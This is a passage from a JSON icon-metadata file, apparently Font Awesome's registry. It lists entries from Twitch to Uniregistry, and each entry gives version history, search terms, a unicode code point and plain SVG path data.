        "path": "M64 64V352H576V64H64zM0 64C0 28.7 28.7 0 64 0H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM128 448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "twitch": {
    "changes": ["4.2.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1e8",
    "label": "Twitch",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z"
      }
    },
    "free": ["brands"]
  },
  "twitter": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["social network", "tweet"]
    },
    "styles": ["brands"],
    "unicode": "f099",
    "label": "Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"
      }
    },
    "free": ["brands"]
  },
  "typo3": {
    "changes": ["5.0.1", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42b",
    "label": "Typo3",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z"
      }
    },
    "free": ["brands"]
  },
  "u": {
    "aliases": {
      "unicodes": {
        "composite": ["75"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter U", "Latin Small Letter U", "letter"]
    },
    "styles": ["solid"],
    "unicode": "55",
    "label": "U",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32c17.7 0 32 14.3 32 32V288c0 70.7 57.3 128 128 128s128-57.3 128-128V64c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 106-86 192-192 192S0 394 0 288V64C0 46.3 14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32c17.7 0 32 14.3 32 32V288c0 70.7 57.3 128 128 128s128-57.3 128-128V64c0-17.7 14.3-32 32-32s32 14.3 32 32V288c0 106-86 192-192 192S0 394 0 288V64C0 46.3 14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "uber": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f402",
    "label": "Uber",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z"
      }
    },
    "free": ["brands"]
  },
  "ubuntu": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f7df",
    "label": "Ubuntu",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z"
      }
    },
    "free": ["brands"]
  },
  "uikit": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f403",
    "label": "UIkit",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z"
      }
    },
    "free": ["brands"]
  },
  "umbraco": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8e8",
    "label": "Umbraco",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 510 512\"><path d=\"M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z\"/></svg>",
        "viewBox": [0, 0, 510, 512],
        "width": 510,
        "height": 512,
        "path": "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z"
      }
    },
    "free": ["brands"]
  },
  "umbrella": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0e9"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["protection", "rain", "storm", "wet"]
    },
    "styles": ["solid"],
    "unicode": "f0e9",
    "label": "Umbrella",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c17.7 0 32 14.3 32 32V49.7C451.8 63.4 557.7 161 573.9 285.9c2 15.6-17.3 24.4-27.8 12.7C532.1 283 504.8 272 480 272c-38.7 0-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C359 299.5 326.7 272 288 272s-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C167 299.5 134.7 272 96 272c-24.8 0-52.1 11-66.1 26.7C19.4 310.4 .1 301.5 2.1 285.9C18.3 161 124.2 63.4 256 49.7V32c0-17.7 14.3-32 32-32zm0 304c12.3 0 23.5 4.6 32 12.2V430.6c0 45-36.5 81.4-81.4 81.4c-30.8 0-59-17.4-72.8-45l-2.3-4.7c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l2.3 4.7c3 5.9 9 9.6 15.6 9.6c9.6 0 17.4-7.8 17.4-17.4V316.2c8.5-7.6 19.7-12.2 32-12.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0c17.7 0 32 14.3 32 32V49.7C451.8 63.4 557.7 161 573.9 285.9c2 15.6-17.3 24.4-27.8 12.7C532.1 283 504.8 272 480 272c-38.7 0-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C359 299.5 326.7 272 288 272s-71 27.5-78.4 64.1c-1.7 8.7-8.7 15.9-17.6 15.9s-15.8-7.2-17.6-15.9C167 299.5 134.7 272 96 272c-24.8 0-52.1 11-66.1 26.7C19.4 310.4 .1 301.5 2.1 285.9C18.3 161 124.2 63.4 256 49.7V32c0-17.7 14.3-32 32-32zm0 304c12.3 0 23.5 4.6 32 12.2V430.6c0 45-36.5 81.4-81.4 81.4c-30.8 0-59-17.4-72.8-45l-2.3-4.7c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l2.3 4.7c3 5.9 9 9.6 15.6 9.6c9.6 0 17.4-7.8 17.4-17.4V316.2c8.5-7.6 19.7-12.2 32-12.2z"
      }
    },
    "free": ["solid"]
  },
  "umbrella-beach": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3d6"],
        "secondary": ["10f5ca"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beach",
        "beach with umbrella",
        "protection",
        "recreation",
        "sand",
        "shade",
        "summer",
        "sun",
        "umbrella"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5ca",
    "label": "Umbrella Beach",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M346.3 271.8l-60.1-21.9L214 448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H282.1l64.1-176.2zm121.1-.2l-3.3 9.1 67.7 24.6c18.1 6.6 38-4.2 39.6-23.4c6.5-78.5-23.9-155.5-80.8-208.5c2 8 3.2 16.3 3.4 24.8l.2 6c1.8 57-7.3 113.8-26.8 167.4zM462 99.1c-1.1-34.4-22.5-64.8-54.4-77.4c-.9-.4-1.9-.7-2.8-1.1c-33-11.7-69.8-2.4-93.1 23.8l-4 4.5C272.4 88.3 245 134.2 226.8 184l-3.3 9.1L434 269.7l3.3-9.1c18.1-49.8 26.6-102.5 24.9-155.5l-.2-6zM107.2 112.9c-11.1 15.7-2.8 36.8 15.3 43.4l71 25.8 3.3-9.1c19.5-53.6 49.1-103 87.1-145.5l4-4.5c6.2-6.9 13.1-13 20.5-18.2c-79.6 2.5-154.7 42.2-201.2 108z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M346.3 271.8l-60.1-21.9L214 448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H282.1l64.1-176.2zm121.1-.2l-3.3 9.1 67.7 24.6c18.1 6.6 38-4.2 39.6-23.4c6.5-78.5-23.9-155.5-80.8-208.5c2 8 3.2 16.3 3.4 24.8l.2 6c1.8 57-7.3 113.8-26.8 167.4zM462 99.1c-1.1-34.4-22.5-64.8-54.4-77.4c-.9-.4-1.9-.7-2.8-1.1c-33-11.7-69.8-2.4-93.1 23.8l-4 4.5C272.4 88.3 245 134.2 226.8 184l-3.3 9.1L434 269.7l3.3-9.1c18.1-49.8 26.6-102.5 24.9-155.5l-.2-6zM107.2 112.9c-11.1 15.7-2.8 36.8 15.3 43.4l71 25.8 3.3-9.1c19.5-53.6 49.1-103 87.1-145.5l4-4.5c6.2-6.9 13.1-13 20.5-18.2c-79.6 2.5-154.7 42.2-201.2 108z"
      }
    },
    "free": ["solid"]
  },
  "uncharted": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e084",
    "label": "Uncharted Software",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z"
      }
    },
    "free": ["brands"]
  },
  "underline": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0cd"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "emphasis", "format", "text", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f0cd",
    "label": "Underline",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M16 64c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H128V224c0 53 43 96 96 96s96-43 96-96V96H304c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V224c0 88.4-71.6 160-160 160s-160-71.6-160-160V96H48C30.3 96 16 81.7 16 64zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M16 64c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H128V224c0 53 43 96 96 96s96-43 96-96V96H304c-17.7 0-32-14.3-32-32s14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H384V224c0 88.4-71.6 160-160 160s-160-71.6-160-160V96H48C30.3 96 16 81.7 16 64zM0 448c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "uniregistry": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f404",
    "label": "Uniregistry",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
